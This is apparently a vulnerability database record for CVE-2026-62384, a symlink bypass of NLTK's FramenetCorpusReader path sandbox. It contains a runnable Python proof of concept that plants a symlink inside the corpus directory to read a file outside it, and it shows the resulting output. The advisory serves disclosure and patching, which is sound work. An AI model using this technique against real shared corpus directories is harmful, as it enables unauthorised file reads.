{"id":"CVE-2026-62384","aliases":["GHSA-f833-7jw8-xwrv","PYSEC-2026-3789"],"url":"https://o3.security/vulnerability/CVE-2026-62384","summary":"NLTK FramenetCorpusReader Symlink Sandbox Bypass before 3.10.2","details":"This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`'s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `<frame_dir>/<name>.xml`\n- `_lu_file()` reads `<lu_dir>/lu<id>.xml`\n- `doc()` reads `<fulltext_dir>/<filename>`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n    f.write(\"<frameRelations/>\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n    f.write(\n        '<frame cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\">'\n        \"<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>\"\n        \"</frame>\"\n    )\n\n# Attacker plants this inside <corpus_root>/frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}}  # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\")   # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu<id>.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581's own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn't achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.","published":"2026-08-22T14:12:37.283Z","modified":"2026-09-04T03:47:29.173729597Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"nltk","fixedVersion":"3.10.2"}],"fix":{"url":"https://github.com/nltk/nltk/pull/3726","label":"nltk/nltk#3726"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/62xxx/CVE-2026-62384.json"},{"type":"ADVISORY","url":"https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62384"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3726"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-04T03:47:29.173729597Z"}}